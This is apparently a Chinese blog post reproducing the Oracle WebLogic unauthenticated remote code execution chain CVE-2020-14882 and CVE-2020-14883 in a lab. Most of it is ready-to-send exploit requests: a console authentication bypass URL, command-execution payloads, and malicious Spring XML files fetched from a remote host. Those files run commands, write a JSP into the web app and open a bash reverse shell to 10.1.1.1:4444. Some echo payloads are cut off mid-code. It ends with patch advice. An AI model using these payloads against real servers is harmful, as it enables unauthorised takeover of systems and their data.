• CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞


    漏洞介绍

    近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

    WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

    影响范围

    • Oracle WebLogic Server 版本10.3.6.0
    • Oracle WebLogic Server 版本12.1.3.0
    • Oracle WebLogic Server 版本12.2.1.3
    • Oracle WebLogic Server 版本12.2.1.4
    • Oracle WebLogic Server 版本14.1.1.0

    环境搭建

    安装weblogic环境成功后,跳到base_domain目录下

    C:OracleMiddlewareOracle_Homeuser_projectsdomainsase_domain

    运行startWebLogic.cmd

    可访问7001端口(http://192.168.1.111:7001/console/login/LoginForm.jsp),说明环境部署成功

    漏洞复现

    CVE-2020-14883: 权限绕过漏洞

    远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

    未授权访问后台

    POC:

    http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    

    CVE-2020-14882: 代码执行漏洞

    直接加载命令执行(无回显)

    结合 CVE-2020-14883 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

    POC 弹出计算器

    http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
    

    POC执行ping dnslog地址

    http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.f7iu4d.dnslog.cn%27);%22)
    

    直接加载命令执行(回显)

    POC GET方式执行id命令

    GET/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThreadcurrentThread = (weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork();java.lang.reflect.Field field =adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Objectobj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req =(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if(cmd != null ){ Stringresult = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next();weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletRespo
    

    POC POST方式执行id命令

    POST/console/css/%252e%252e%252fconsole.portal HTTP/1.1
    Host:192.168.60.130:7001
    cmd: id
    User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0.4183.121 Safari/537.36
    Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding:gzip, deflate
    Accept-Language:zh-CN,zh;q=0.9
    Connection: close
    Content-Type:application/x-www-form-urlencoded
    Content-Length: 1258
     
    _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThreadexecuteThread = (weblogic.work.ExecuteThread) Thread.currentThread();
    weblogic.work.WorkAdapteradapter = executeThread.getCurrentWork();
    java.lang.reflect.Fieldfield = adapter.getClass().getDeclaredField("connectionHandler");
    field.setAccessible(true);
    Object obj =field.get(adapter);
    weblogic.servlet.internal.ServletRequestImplreq = (weblogic.servlet.internal.ServletRequestImpl) obj.getC
    

    加载远程项XML文件执行

    尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件:

    http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")
    

    通过ClassPathXmlApplicationContext()也可以达到相同的效果:

    http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.3.1/poc.xml")
    

    poc.xml如下:

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                               http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
                <list>
                    <value>cmd</value>
                    <value>/c</value>
                    <value><![CDATA[calc]]></value>
                </list>
            </constructor-arg>
        </bean>
    </beans>
    

    通过此方法,windows可以往images路径下写文件,写入路径为:

    ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                               http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
                <list>
                    <value>cmd</value>
                    <value>/c</value>
                    <value><![CDATA[echo hello>
    "../../../wlserver/server/lib/consoleapp/webapp/images/hack.jsp"]]></value>
                </list>
            </constructor-arg>
        </bean>
    </beans>
    

    linux直接反弹shell

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                               http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
                <list>
                    <value>cmd</value>
                    <value>/c</value>
                    <value><![CDATA[bash -i >& /dev/tcp/10.1.1.1/4444 0>&1]]></value>
                </list>
            </constructor-arg>
        </bean>
    </beans>
    

    修复建议

    此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

    及时更新补丁,参考oracle官网发布的补丁:

    Oracle Critical Patch Update Advisory - October 2020

    https://www.oracle.com/security-alerts/cpuoct2020traditional.html

    注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

  • 相关阅读:
    WSGI原理
    主从数据库
    mysql高级
    记录
    获取当前时间
    sql注入和防sql注入
    python操作MySQL
    修改Windows10 命令终端cmd的编码为UTF-8
    MySQL查询
    MySQL数据库操作
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/13962160.html
Copyright © 2020-2023  润新知